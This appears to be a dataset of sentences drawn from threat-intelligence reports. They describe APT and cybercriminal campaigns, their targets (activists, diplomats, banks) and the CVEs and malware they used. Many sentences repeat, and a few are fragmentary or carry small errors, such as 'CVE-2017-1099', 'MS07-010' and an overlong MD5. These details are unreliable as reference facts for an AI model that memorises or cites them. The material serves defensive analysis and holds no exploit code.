The computers of diplomats , military attachés , private assistants , secretaries to Prime Ministers , journalists and others are under the concealed control of unknown assailant (s ) .
The banking malware GozNym has legs ; only a few weeks after the hybrid Trojan was discovered , it has reportedly spread into Europe and begun plaguing banking customers in Poland with redirection attacks .
We noted in our original blog the large amount of targeting of Iranian citizens in this campaign , we observed almost one-third of all victims to be Iranian .
Since early 2013 , we have observed activity from a unique threat actor group , which we began to investigate based on increased activities against human right activists in the beginning of 2015 .
Over the course of three years of observation of campaigns targeting civil society and human rights organizations , from records of well over two hundred spearphishing and other intrusion attempts against individuals inside of Iran and in the diaspora , a narrative of persistent intrusion efforts emerges .
Over the months following the elections , the accounts of Iranians that had been compromised by the actors were then used for spreading the malware .
The Infy malware was seen targeting Iranians again in June 2015 , when it was shared with researchers after being sent to a broadcast journalist at BBC Persian with a generic introduction and a PowerPoint presentation attached titled " Nostalogy " ( sic ) .
One narrowly-targeted spearphishing from Infy was sent from the compromised account of a political activist promoting participation inside of Iran , claiming to be a set of images of a British-Iranian dual national that has been held in Evin Prison for five years on espionage charges .
As in the past , these messages have been sent accounts believed to be fake and accounts compromised by Infy , including Kurdish activists that had previously been compromised by the Flying Kitten actor group .
The Windows 10 Creators Update will bring several enhancements to Windows Defender ATP that will provide SOC personnel with options for immediate mitigation of a detected threat .
LEAD and Barium are not known for large-scale spear-phishing , so it is unlikely that SOC personnel would have to deal with multiple machines having been compromised by these groups at the same time .
While the machine is in isolation , SOC personnel can direct the infected machine to collect live investigation data , such as the DNS cache or security event logs , which they can use to verify alerts , assess the state of the intrusion , and support follow-up actions .
The samples provided were alleged to be targeting Tibetan and Chinese Pro-Democracy Activists .
They are often targeted simultaneously with other ethnic minorities and religious groups in China .
Examples as early as 2008 document malware operations against Tibetan non-governmental organizations ( NGOs ) that also targeted Falun Gong and Uyghur groups .
Unit 42 recently identified a targeted attack against an individual working for the Foreign Ministry of Uzbekistan in China .
NetTraveler has been used to target diplomats , embassies and government institutions for over a decade , and remains the tool of choice by the adversaries behind these cyber espionage campaigns .
The NetTraveler group has infected victims across multiple establishments in both the public and private sector including government institutions , embassies , the oil and gas industry , research centers , military contractors and activists .
The main point that sets Operation Groundbait apart from the other attacks is that it has mostly been targeting anti-government separatists in the self-declared Donetsk and Luhansk People 's Republics .
Although Silence 's phishing emails were also sent to bank employees in Central and Western Europe , Africa , and Asia ) .
They tried new techniques to steal from banking systems , including AWS CBR ( the Russian Central Bank 's Automated Workstation Client ) , ATMs , and card processing .
However , some phishing emails were sent to bank employees in more than 25 countries of Central and Western Europe , Africa and Asia including : Kyrgyzstan , Armenia , Georgia , Serbia , Germany , Latvia , Czech Republic , Romania , Kenya , Israel , Cyprus , Greece , Turkey , Taiwan , Malaysia , Switzerland , Vietnam , Austria , Uzbekistan , Great Britain , Hong Kong , and others .
An interesting point in the Silence attack is that the cybercriminals had already compromised banking infrastructure in order to send their spear-phishing emails from the addresses of real bank employees and look as unsuspicious as possible to future victims .
A preliminary analysis caught the attention of our Threat Analysis and Intelligence team as it yielded interesting data that , among other things , shows that Silence was targeting employees from financial entities , specifically in the Russian Federation and the Republic of Belarus .
While the Sima moniker could similarly originate from software labels , it is a common female Persian name and a Persian-language Word for " visage " or " appearance " .
 Given its use in more advanced social engineering campaigns against women 's rights activists , the label seem particularly apt .
Samples and resource names contained the family names of prominent Iranians , and several of these individuals received the malware located in their respective folder .
For the sake of narrative we are going to focus exclusively to those samples we identified being used in attacks against Iranian civil society and diaspora .
After reviewing all the malware functionalities , we are confident in saying that the attackers look for victims who answer well-defined characteristics and believe that further stages of the attack are delivered only to those who fit the specific victim profile .
It's coincident that both 'darkhydrus' APT group name and ‘Williams’ user name in PDB path found in this Twitter user .
The 360 Intelligence Center observed four distinct campaigns against Pakistan since 2017 (link) , recently targeting Pakistani businessmen working in China .
In the latest attack , Donot group is targeting Pakistani businessman working in ChinaA previous , removed , report from another vendor claimed non-specific information about the groups' interest in Chinese universities , but that report has been removed – most likely detections were related to students’ and researchers’ scanning known collected samples and any incidents” remain unconfirmed and unknown .
The most popular targets of SneakyPastes are embassies , government entities , education , media outlets , journalists , activists , political parties or personnel , healthcare and banking .
Through our continuous monitoring of threats during 2018 , we observed a new wave of attacks by Gaza Cybergang Group1 targeting embassies and political personnel .
This could include diplomats , experts in the LOCs of interest related to the Digital Economy Task Force , or possibly even journalists .
This focus on training aligns with LYCEUM’s targeting of executives , HR staff , and IT personnel .
Despite the initial perception that the maldoc sample was intended for ICS or OT staff , LYCEUM has not demonstrated an interest in those environments .
The threat actor’s emails usually contain a picture or a link without a malicious payload and are sent out to a huge recipient database of up to 85 , 000 users .
Group-IB specialists determined that the email addresses of IT bank employees were among the recipients of these emails .
While OceanLotus’ targets are global , their operations are mostly active within the APAC region which encompasses targeting private sectors across multiple industries , foreign governments , activists , and dissidents connected to Vietnam .
The attackers sent multiple emails containing macro-enabled XLS files to employees working in the banking sector in the Middle East .
Examples as early as 2008 document malware operations against Tibetan non-governmental organizations ( NGOs ) that also targeted Falun Gong and Uyghur groups .
The document exploited CVE-2012-0158 and will decode and write an executable to disk upon infection .
iSiGHT Partners has tracked Sandworm Team for some time - and we publicly reported on some of their activities in October 2014 , when we discovered their use of a zero-day exploit , CVE-2014-4114 .
In July of 2015 , we identified a full e-mail uploaded to an antivirus scanning service that carried a Scarlet Mimic exploit document .
The group uses legitimate administration tools to fly under the radar in their post-exploitation phase , which makes detection of malicious activity , as well as attribution more complicated .
Through the exploitation of the HTA handler vulnerability described in CVE-2017-1099 , the observed RTF attachments download .
In early May , the phishing lures leveraged RTF attachments that exploited the Microsoft Windows vulnerability described in CVE-2017-0199 .
As early as March 4 , 2017 , malicious documents exploiting CVE-2017-0199 were used to deliver the LATENTBOT malware .
FireEye believes that two actors – Turla and an unknown financially motivated actor – were using the first EPS zero-day CVE-2017-0261 , and APT28 was using the second EPS zero-day CVE-2017-0262 along with a new Escalation of Privilege (EOP) zero-day CVE-2017-0263 .
The first , st07383.en17.docx , continues by utilizing 32 or 64 bit versions of CVE-2017-0001 to escalate privileges before executing a final JavaScript payload containing a malware implant known as SHIRIME .
This vulnerability was found in a document named Trump's_Attack_on_Syria_English.docx .
It is possible that CVE-2017-8759 was being used by additional actors .
The addition of the EternalBlue exploit to Metasploit has made it easy for threat actors to exploit these vulnerabilities .
The Magnitude EK landing page consisted of CVE-2016-0189 , which was first reported by FireEye as being used in Neutrino Exploit Kit after it was patched .
The malware leverages an exploit , codenamed EternalBlue , that was released by the Shadow Brokers on April 14 , 2017 .
Some hackers even went onto use the Cisco exploits in the wild .
DanderSpritz is the framework for controlling infected machines , different from FuZZbuNch as the latter provides a limited toolkit for the post-exploitation stage with specific functions such as DisableSecurity and EnableSecurity for DarkPulsar .
In their latest leak , they have released the UNITEDRAKE NSA exploit , which is a remote access and control tool that can remotely target Windows-based systems to capture desired information and transfer it to a server .
On the other hand , ShadowBrokers group made headlines in 2016 when it claimed to have robbed various exploitation tools used by the NSA including the notorious EternalBlue that was a vital component in the WannaCry ransomware campaign causing damages to systems worldwide .
In all emails sent to these government officials , the actor used the same attachment : a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload .
Despite being an older vulnerability , many threat actors continue to leverage CVE-2012-0158 to exploit Microsoft Word .
According to the security firm , this campaign targeted Indian military officials via spear-phishing emails , distributing spyware to its victims via an Adobe Reader vulnerability .
In order to carry out this operation , it uses publicly available tools , including Mimikatz ( Hacktool.Mimikatz ) and an open-source tool that exploits a known Windows privilege escalation vulnerability ( CVE-2016-0051 ) on unpatched computers .
Each of the spear phishing attacks contained links to .doc files , which were really RTF documents that attempt to exploit CVE-2017-8570 ( Composite Moniker ) .
The Word document usually exploits CVE-2012-0158 .
Sometimes the attackers send an MS PowerPoint document instead , which exploits CVE-2014-6352 .
Sometimes Patchwork send an MS PowerPoint document instead , which exploits CVE-2014-6352 .
The malicious documents that Unit 42 examined contained legitimate decoy lures as well as malicious embedded EPS files targeting the CVE-2015-2545 and CVE-2017-0261 vulnerabilities .
One of the favorite methods used by the Pitty Tiger group to infect users is to use a Microsoft Office Word document which exploits a specific vulnerability ( CVE-2012-0158 ) .
The document , when opened , used an embedded ActiveX control to download a JavaScript file from a remote site that used a previously unknown vulnerability in some versions of Windows ( later designated CVE-2013-7331 ) to read information about the browser 's installed components .
The document files exploit at least three known vulnerabilities in Microsoft Office , which we discuss in the Infection Techniques section .
In all emails sent to these government officials , the actor used the same attachment : a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload .
According to the security firm , this campaign targeted Indian military officials via spear-phishing emails , distributing spyware to its victims via an Adobe Reader vulnerability .
PLATINUM 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
The group 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
Carbanak has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .
However , in September last year , our friends at CSIS published a blog detailing a new Carbanak variant affecting one of its customers .
PIVY also played a key role in the 2011 campaign known as Nitro that targeted chemical makers , government agencies , defense contractors , and human rights groups.10,11 Still active a year later , the Nitro attackers used a zero-day vulnerability in Java to deploy PIVY in 2012 .
Each of the spear phishing attacks contained links to .doc files , which were really RTF documents that attempt to exploit CVE-2017-8570 ( Composite Moniker ) .
The Word document usually exploits CVE-2012-0158 .
Sometimes the attackers send an MS PowerPoint document instead , which exploits CVE-2014-6352 .
Sometimes Patchwork send an MS PowerPoint document instead , which exploits CVE-2014-6352 .
The malicious documents that Unit 42 examined contained legitimate decoy lures as well as malicious embedded EPS files targeting the CVE-2015-2545 and CVE-2017-0261 vulnerabilities .
Older documents used by Patchwork focused on the CVE-2017-0261 vulnerability , however in late January 2018 when , paradoxically , newer documents abandoned this vulnerability to attack the older CVE-2015-2545 vulnerability .
PittyTiger has also been seen using Heartbleed vulnerability in order to directly get valid credentials .
They have also been seen using Heartbleed vulnerability in order to directly get valid credentials .
One of the favorite methods used by the Pitty Tiger group to infect users is to use a Microsoft Office Word document which exploits a specific vulnerability ( CVE-2012-0158 ) .
PittyTiger could also use CVE-2014-1761 , which is more recent .
PLATINUM is known to have used a number of zero-day exploits , for which no security update is available at the time of transmission , in these attempts .
The document , when opened , used an embedded ActiveX control to download a JavaScript file from a remote site that used a previously unknown vulnerability in some versions of Windows ( later designated CVE-2013-7331 ) to read information about the browser 's installed components .
When the document was opened in Word , PLATINUM exploited a previously unknown vulnerability in the Microsoft Office PostScript interpreter ( designated CVE-2015-2545 ) that enabled it to execute the attacker 's code and drop an attacker-generated malicious DLL onto the computer .
The DLL exploited another previously unknown vulnerability ( designated CVE-2015-2546 ) in the Windows kernel , which enabled it to elevate privileges for the Word executable and subsequently install a backdoor through the application .
When the document was opened in Word , it exploited a previously unknown vulnerability in the Microsoft Office PostScript interpreter ( designated CVE-2015-2545 ) that enabled it to execute the attacker 's code and drop an attacker-generated malicious DLL onto the computer .
In total , PLATINUM made use of four zero-day exploits during these two attack campaigns ( two remote code execution bugs , one privilege escalation , and one information disclosure ) , showing an ability to spend a non-trivial amount of resources to either acquire professionally written zero-day exploits from unknown markets , or research and utilize the zero-day exploits themselves .
PLATINUM has used several zero-day exploits against their victims .
Even if CVE-2015-2546 affected Windows 10 , the exploitation would have required much more technical prowess to succeed ; ultimately , SMEP makes it more difficult for attackers .
For example , one zero-day vulnerability exploit ( CVE-2015-2545 ) used by PLATINUM was addressed immediately in September 2015 .
It possesses a wide range of technical exploitation capabilities , significant resources for researching or purchasing complicated zero-day exploits , the ability to sustain persistence across victim networks for years , and the manpower to develop and maintain a large number of tools to use within unique victim networks .
In 2016 , an attack campaign by this group was recorded in early May that made use of an exploit for CVE-2016-4117 , a vulnerability in Adobe Flash Player , which at the time was both unknown and unpatched .
To deliver the malware to the victim machines , the Rocke group exploits vulnerabilities in Apache Struts 2 , Oracle WebLogic , and Adobe ColdFusion .
However , around a month ago , Rocke started targeting systems that run Jenkins by attempting to exploit CVE-2018-1000861 and CVE-2019-1003000 .
The Shadow Brokers first emerged in August , when they posted links to a selection of NSA exploits and hacking tools onto Github and other websites .
In April , 2018 , the 360 Core Security takes the lead in capturing the APT-C-06 group’s new APT attack using 0-day vulnerabilities CVE-2018-8174 in the wild .
The group has demonstrated access to zero-day vulnerabilities CVE-2018-0802 , and the ability to incorporate them into operations .
FireEye observed a high volume of activity associated with the exploitation of CVE-2017-10271 following the public posting of proof of concept code in December 2017 .
If the lateral movement with credentials fails , then the malware uses PingCastle MS17-010 scanner (PingCastle is a French Active Directory security tool) to scan that particular host to determine if its vulnerable to EternalBlue , and uses it to spread to that host .
Tactic #1: Delivering the miner directly to a vulnerable serverSome tactics we've observed involve exploiting CVE-2017-10271 , leveraging PowerShell to download the miner directly onto the victim’s system (Figure 1) , and executing it using ShellExecute() .
We assess that the actors employing this latest Flash zero-day are a suspected North Korean group we track as TEMP.Reaper .
Figure 2: Zyklon attack flowInfection Techniques CVE-2017-8759 .
This vulnerability was discovered by FireEye in September 2017 , and it is a vulnerability we have observed being exploited in the wild .
Figure 3: Embedded URL in OLE object CVE-2017-11882 Similarly , we have also observed actors leveraging another recently discovered vulnerability CVE-2017-11882 in Microsoft Office .
The other overlapping files are tools used by the adversary to locate other systems on the network ( etool.exe ) , check to see if they are vulnerable to CVE-2017-0144 ( EternalBlue ) patched in MS07-010 ( checker1.exe ) and pivot to them using remote execution functionality offered by a tool similar to PsExec offered by Impacket ( psexec.exe ) .
The files uploaded to this webshell included the same compiled python script that would scan remote systems that were vulnerable to CVE-2017-0144 ( EternalBlue ) that we saw uploaded to the other errr.aspx webshell .
We believe the actors pivoted to other systems on the network using stolen credentials and by exploiting the CVE-2017-0144 ( EternalBlue ) vulnerability patched in MS17-010 .
Code contained inside one of the slides triggers an exploit for CVE-2017-8759 , a remote code execution vulnerability in Microsoft .NET framework .
According to FireEye , the admin@338 sent out emails containing malicious documents designed to exploit Microsoft Office vulnerabilities in an effort to deliver a piece of malware dubbed LOWBALL .
According to FireEye , the attackers sent out emails containing malicious documents designed to exploit Microsoft Office vulnerabilities in an effort to deliver a piece of malware dubbed LOWBALL .
Similar to RIPTIDE campaigns , APT12 infects target systems with HIGHTIDE using a Microsoft Word ( .doc ) document that exploits CVE-2012-0158 .
The Sofacy group spearphished targets in several waves with Flash exploits leading to their Carberp based JHUHUGIT downloaders and further stages of malware .
APT28 spearphished targets in several waves with Flash exploits leading to their Carberp based JHUHUGIT downloaders and further stages of malware .
The group spearphished targets in several waves with Flash exploits leading to their Carberp based JHUHUGIT downloaders and further stages of malware .
APT28 is using novel techniques involving the EternalBlue exploits and the open source tool Responder to spread laterally through networks and likely target travelers .
The JHUHUGIT implant became a relatively popular first stage for the Sofacy attacks and was used again with a Java zero-day ( CVE-2015-2590 ) in July 2015 .
We are however only aware of one instance - the exploitation of CVE-2013-0640 to deploy MiniDuke - where we believe the exploited vulnerability was a zero-day at the time that the group acquired the exploit .
FireEye confirmed that since at least November 2017 , APT37 exploited a zero-day Adobe Flash vulnerability , CVE-2018-4878 , to distribute DOGCALL malware to South Korean victims .
FireEye iSIGHT Intelligence confirmed that since at least November 2017 , APT37 exploited a zero-day Adobe Flash vulnerability , CVE-2018-4878 , to distribute DOGCALL malware to South Korean victims .
A well-funded , highly active group of Middle Eastern hackers was caught , yet again , using a lucrative zero-day exploit in the wild to break into computers and infect them with powerful spyware developed by an infamous cyberweapons dealer named Gamma Group .
A well-funded , highly active BlackOasis group of Middle Eastern hackers was caught , yet again , using a lucrative zero-day exploit in the wild to break into computers and infect them with powerful spyware developed by an infamous cyberweapons dealer named Gamma Group .
Kaspersky found the BlackOasis group was exploiting a Adobe Flash Player zero-day vulnerability ( CVE-2016-4117 ) to remotely deliver the latest version of " FinSpy " malware , according to a new blog post published Monday .
Kaspersky found the group was exploiting a Adobe Flash Player zero-day vulnerability ( CVE-2016-4117 ) to remotely deliver the latest version of " FinSpy " malware , according to a new blog post published Monday .
BRONZE BUTLER has demonstrated the ability to identify a significant zero-day vulnerability within a popular Japanese corporate tool and then use scan-and-exploit techniques to indiscriminately compromise Japanese Internet-facing enterprise systems .
The group has demonstrated the ability to identify a significant zero-day vulnerability within a popular Japanese corporate tool and then use scan-and-exploit techniques to indiscriminately compromise Japanese Internet-facing enterprise systems .
BRONZE BUTLER has used phishing emails with Flash animation attachments to download and execute Daserf malware , and has also leveraged Flash exploits for SWC attacks .
The group has used phishing emails with Flash animation attachments to download and execute Daserf malware , and has also leveraged Flash exploits for SWC attacks .
While investigating a 2016 intrusion , Secureworks identified BRONZE BUTLER exploiting a then-unpatched remote code execution vulnerability ( CVE-2016-7836 ) in SKYSEA Client View , a popular Japanese product used to manage an organization .
While investigating a 2016 intrusion , Secureworks incident responders identified BRONZE BUTLER exploiting a then-unpatched remote code execution vulnerability ( CVE-2016-7836 ) in SKYSEA Client View , a popular Japanese product used to manage an organization .
Carbanak is a remote backdoor ( initially based on Carberp ) , designed for espionage , data Exfiltration and to provide remote access to infected machines .
If found on the target system , Carbanak will try to exploit a known vulnerability in Windows XP , Windows Server 2003 , Windows Vista , Windows Server 2008 , Windows 7 , Windows 8 , and Windows Server 2012 , CVE-2013-3660 , for local privilege escalation .
To enable connections to the infected computer using the Remote Desktop Protocol ( RDP ) , Carbanak sets Termservice service execution mode to Auto .
Carbanak is also aware of the IFOBS banking application and can , on command , substitute the details of payment documents in the IFOBS system .
Sensitive bank documents have be found on the servers that were controlling Carbanak .
Existing telemetry indicates that the Carbanak attackers are trying to expand operations to other Baltic and Central Europe countries , the Middle East , Asia and Africa .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
This report describes the details and type of operations carried out by Carbanak that focuses on financial industry , such as payment providers , retail industry and PR companies .
Carbanak has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .
From 2013 Carbanak intensified its activity focused on banks and electronic payment systems in Russia and in the post-Soviet space .
Since 2013 Carbanak has successfully gained access to networks of more than 50 banks and 5 payment systems .
To reduce the risk of losing access to the internal bank network , the Carbanak , in addition to malicious programs , also used for remote access legitimate programs such as Ammy Admin and Team Viewer .
Additionally the reports on Carbanak show a different picture , where banks targeted outside of Russia , specifically Europe , USA and Japan are mentioned , which does not match our research .
These attacks have included criminal groups responsible for the delivery of NewPosThings , MalumPOS and PoSeidon point of sale Malware , as well as Carbanak from the Russian criminal organization we track as Carbon Spider .
The leader of the crime gang behind the Carbanak and Cobalt malware attacks targeting over a 100 financial institutions worldwide has been arrested in Alicante , Spain , after a complex investigation conducted by the Spanish National Police .
Since 2013 , the cybercrime gang have attempted to attack banks , e-payment systems and financial institutions using pieces of malware they designed , known as Carbanak and Cobalt .
Other public tools used by the CopyKittens are Metasploit , a well-known free and open source framework for developing and executing exploit code against a remote target machine ; Mimikatz , a post-exploitation tool that performs credential dumping ; and Empire , a PowerShell and Python post-exploitation agent .
Just a few months later , in February 2015 , we announced the discovery of Carbanak , a cyber-criminal gang that used custom malware and APT techniques to steal millions of dollars while infecting hundreds of financial institutions in at least 30 countries .
However , in September last year , our friends at CSIS published a blog detailing a new Carbanak variant affecting one of its customers .
In one remarkable case , the Carbanak 2.0 gang used its access to a financial institution that stores information about shareholders to change the ownership details of a large company .
This Gorgon Group campaign leveraged spear phishing emails with Microsoft Word documents exploiting CVE-2017-0199 .
Ke3chang has also leveraged a Java zero-day vulnerability ( CVE-2012-4681 ) , as well as older , reliable exploits for Microsoft Word ( CVE-2010-3333 ) and Adobe PDF Reader ( CVE-2010-2883 ) .
While the URL acts similarly to how eye-watch.in : 443 delivers payloads , we also saw the URL leveraging and exploiting security flaws in Flash : CVE-2015-8651 , CVE-2016-1019 , and CVE-2016-4117 .
The exploit , which takes advantage of CVE-2018-4878 , allows an attacker to execute arbitrary code such as an implant .
Documents with the flash exploit managed to evade static defenses and remain undetected as an exploit on VirusTotal .
WannaCry utilizes EternalBlue by crafting a custom SMB session request with hard-coded values based on the target system .
WannaCry leverages an exploit , codenamed " EternalBlue " , that was released by the Shadow Brokers on April 14 , 2017 .
Microsoft addressed the SMBv1 vulnerabilities in March 2017 with Security Bulletin MS17-010 .
The worm leverages an SMBv1 exploit that originates from tools released by the Shadow Brokers threat group in April .
If the DoublePulsar backdoor does not exist , then the SMB worm attempts to compromise the target using the Eternalblue SMBv1 exploit .
Leafminer has developed exploit payloads for this framework ( Table 2 ) that deliver custom malware through attacks against SMB vulnerabilities described by Microsoft .
The EternalBlue exploits from the framework received worldwide attention after being used in the ransomware campaigns WannaCry in May and Petya / NotPetya in June 2017 .
The Leafminer operators use EternalBlue to attempt lateral movement within target networks from compromised staging servers .
Symantec also observed attempts by Leafminer to scan for the Heartbleed vulnerability ( CVE-2014-0160 ) from an attacker-controlled IP address .
The attachments exploited CVE-2017-8759 which was discovered and documented only five days prior to the campaign .
Some of the documents exploited CVE-2017-0199 to deliver the payload .
The group 's capabilities are more than the much discussed CVE-2012-0158 exploits over the past few years .
Instead , the Spring Dragon group is known to have employed spearphish exploits , strategic web compromises , and watering holes attack .
The group 's spearphish toolset includes PDF exploits , Adobe Flash Player exploits , and the common CVE-2012-0158 Word exploits including those generated from the infamous " Tran Duy Linh " kit .
While this particular actor effectively used their almost worn out CVE-2012-0158 exploits in the past , Spring Dragon employs more involved and creative intrusive activity as well .
To mitigate the threat of the described campaign , security teams can consider blocking access to the C2 server 103.236.150.14 and , where applicable , ensure that the Microsoft Security Update KB2553204 is installed in order to patch the CVE-2017-11882 vulnerability .
The actors attempted to exploit CVE-2014-6332 using a slightly modified version of the proof-of-concept ( POC ) code to install a Trojan called Emissary , which is related to the Operation Lotus Blossom campaign .
Both attachments are malicious Word documents that attempt to exploit the Windows OLE Automation Array Remote Code Execution Vulnerability tracked by CVE-2014-6332 .
Lotus Blossom attempted to exploit CVE-2014-6332 using the POC code available in the wild .
Lotus Blossom was attempting to exploit CVE-2014-6332 to install a new version of the Emissary Trojan , specifically version 5.3 .
POWRUNER was delivered using a malicious RTF file that exploited CVE-2017-0199 .
In November 2017 , APT34 leveraged the Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER less than a week after Microsoft issued a patch .
PIVY also played a key role in the 2011 campaign known as Nitro that targeted chemical makers , government agencies , defense contractors , and human rights groups.10,11 Still active a year later , the Nitro attackers used a zero-day vulnerability in Java to deploy PIVY in 2012 .
Just recently , PIVY was the payload of a zero-day exploit in Internet Explorer used in what is known as a " strategic web compromise " attack against visitors to a U.S. government website and a variety of others .
It came in the form of a " Tran Duy Linh " CVE-2012-0158 exploit kit document MD5 : de8a242af3794a8be921df0cfa51885f61 and was observed on April 10 , 2014 .
This bait document , or email attachment , appears to be a standard Word document , but is in fact an CVE-2012-0158 exploit , an executable with a double extension , or an executable with an RTLO filename , so it can execute code without the user 's knowledge or consent .
PROMETHIUM and NEODYMIUM both used an exploit for CVE-2016-4117 , a vulnerability in Adobe Flash Player that , at the time , was both unknown and unpatched .
PROMETHIUM and NEODYMIUM both used a zero-day exploit that executed code to download a malicious payload .
NEODYMIUM also used the exact same CVE-2016-4117 exploit code that PROMETHIUM used , prior to public knowledge of the vulnerability 's existence .
In May 2016 , two apparently unrelated activity groups , PROMETHIUM and NEODYMIUM , conducted attack campaigns in Europe that used the same zeroday exploit while the vulnerability was publicly unknown .
The Middle Eastern hacker group in this case is codenamed " BlackOasis " Kaspersky found the group was exploiting a Adobe Flash Player zero-day vulnerability ( CVE-2016-4117 ) to remotely deliver the latest version of " FinSpy " malware , according to a new blog post published Monday .
The discovery by Kaspersky marks at least the fifth zero-day exploit used by BlackOasis and exposed by security researchers since June 2015 .
Less than a week after Microsoft issued a patch for CVE-2017-11882 on Nov. 14 , 2017 , FireEye observed an attacker using an exploit for the Microsoft Office vulnerability to target a government organization in the Middle East .
The backdoor was delivered via a malicious .rtf file that exploited CVE-2017-0199 .
In this latest campaign , APT34 leveraged the recent Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER .
During the past few months , APT34 has been able to quickly incorporate exploits for at least two publicly vulnerabilities ( CVE-2017-0199 and CVE-2017-11882 ) to target organizations in the Middle East .
In November 2017 , APT34 leveraged the Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER less than a week after Microsoft issued a patch .
POWRUNER was delivered using a malicious RTF file that exploited CVE-2017-0199 .
Specifically , Suckfly used a specially crafted web page to deliver an exploit for the Microsoft Windows OLE Remote Code Execution Vulnerability ( CVE-2014-6332 ) , which affects specific versions of Microsoft Windows .
This time , however , TA459 opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
This time , however , attackers opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
Data from the early part of this year shows that the Taidoor attackers rampantly used malicious.DOC files to exploit a Microsoft Common Controls vulnerability , CVE-2012-0158 .
TG-3390 uses older exploits to compromise targets , and CTU researchers have not observed the threat actors using zero-day exploits as of this publication .
TG-3390 actors have used Java exploits in their SWCs .
In particular , TG-3390 has exploited CVE-2011-3544 , a vulnerability in the Java Runtime Environment , to deliver the HTTPBrowser backdoor ; and CVE-2010-0738 , a vulnerability in JBoss , to compromise internally and externally accessible assets used to redirect users' web browsers to exploit code .
In particular , the threat actors have exploited CVE-2011-3544 , a vulnerability in the Java Runtime Environment , to deliver the HTTPBrowser backdoor ; and CVE-2010-0738 , a vulnerability in JBoss , to compromise internally and externally accessible assets used to redirect users' web browsers to exploit code .
TG-3390 's activities indicate a preference for leveraging SWCs and scan-and-exploit techniques to compromise target systems .
Even when we observed LuckyMouse using weaponized documents with CVE-2017-11882 ( Microsoft Office Equation Editor , widely used by Chinese-speaking actors since December 2017 ) , we can′t prove they were related to this particular attack .
LuckyMouse has been spotted using a widely used Microsoft Office vulnerability ( CVE-2017-11882 ) .
No zero-day vulnerabilities were used to breach targeted networks , instead " TG-3390 relied on old vulnerabilities such as CVE-2011-3544 " — a near-year-old Java security hole — " and CVE-2010-0738 to compromise their targets " , Dell SecureWorks' researchers reported .
Execute a command through exploits for CVE-2017-11882 .
Execute a command through exploits for CVE-2018-0802 .
The document attached to this e-mail exploits CVE-2012-0158 .
Tropic Trooper is also still exploiting CVE-2012-0158 , as are many threat actors .
The documents attached to spear-phishing e-mails used in both attacks contain code that exploits CVE-2012-0158 , which despite its age remains one of the most common Microsoft Word vulnerabilities being exploited by multiple threat actors .
the backdoor is packaged together with the CVE-2013-5065 EoP exploit and heavily obfuscated .
While we were unable to recover the initial vulnerability used , it is possibly the same CVE-2014-0515 Adobe Flash exploit first reported by Cisco TRAC in late July .
However , to increase success rates APT20 can use zero-day exploits , so even a properly patched system would be compromised .
PLEAD also dabbled with a short-lived , fileless version of their malware when it obtained an exploit for a Flash vulnerability ( CVE-2015-5119 ) that was leaked during the Hacking Team breach .
PLEAD also uses CVE-2017-7269 , a buffer overflow vulnerability Microsoft Internet Information Services ( IIS ) 6.0 to compromise the victim 's server .
Kaspersky Lab has detected a new method of first infection that uses a drive-by-download with a flash exploit ( CVE-2015-5119 , the one leaked from The Hacking Team incident ) .
If the document was delivered with macros instead of exploits ( CVE-2012-0158 , CVE-2013-3906 or CVE-2014-1761 ) , then the document contained instructions for enabling macros .
Moreover , they used the same exploit kit Niteris as that in the Corkow case .
The CVE-2012-0773 was originally discovered by VUPEN and has an interesting story .
The decoy documents used by the InPage exploits suggest that the targets are likely to be politically or militarily motivated .
While documents designed to exploit the InPage software are rare , they are not new – however in recent weeks Unit42 has observed numerous InPage exploits leveraging similar shellcode , suggesting continued use of the exploit previously discussed by Kaspersky .
Compared to Patchwork , whose Trojanized documents exploit at least five security flaws , Confucius' backdoors are delivered through Office files exploiting memory corruption vulnerabilities CVE-2015-1641 and CVE-2017-11882 .
Lately , Patchwork has been sending multiple RTF files exploiting CVE-2017-8570 .
Confucius' backdoors are delivered through Office documents exploiting memory corruption vulnerabilities CVE-2015-1641 and CVE-2017-11882 .
The sctrls backdoor we came across is delivered via RTF files exploiting CVE-2015-1641 .
The documents that exploit CVE-2017-11882 download another payload — an HTML Application ( HTA ) file toting a malicious Visual Basic ( VBS ) script — from the server , which is executed accordingly by the command-line tool mshta.exe .
Hackers use the exploits " Nitris Exploit Kit " ( earlier known as CottonCastle ) , which is not available in open sources and sold only to trusted users .
Hackers first actively spread bots using the Niteris exploit , and then search for infected devices at banks amongst their bots by analyzing IP addresses , cracked passwords and results of the modules performance .
In August 2014 , some of our users observed targeted attacks with a variation of CVE-2012-0158 and an unusual set of malware .
Longhorn , which we internally refer to as " The Lamberts " , first came to the attention of the ITSec community in 2014 , when our colleagues from FireEye discovered an attack using a zero day vulnerability ( CVE-2014-4148 ) .
The first time the Lambert family malware was uncovered publicly was in October 2014 , when FireEye posted a blog about a zero day exploit ( CVE-2014-4148 ) used in the wild .
While in most cases the infection vector remains unknown , the high profile attack from 2014 used a very complex Windows TTF zero-day exploit ( CVE-2014-4148 ) .
To further exemplify the proficiency of the attackers leveraging the Lamberts toolkit , deployment of Black Lambert included a rather sophisticated TTF zero day exploit , CVE-2014-4148 .
This sample was also found to be deployed using the CVE-2012-0158 vulnerability .
Our analysis shows that actors attempted to exploit CVE-2012-0158 to install NetTraveler Trojan .
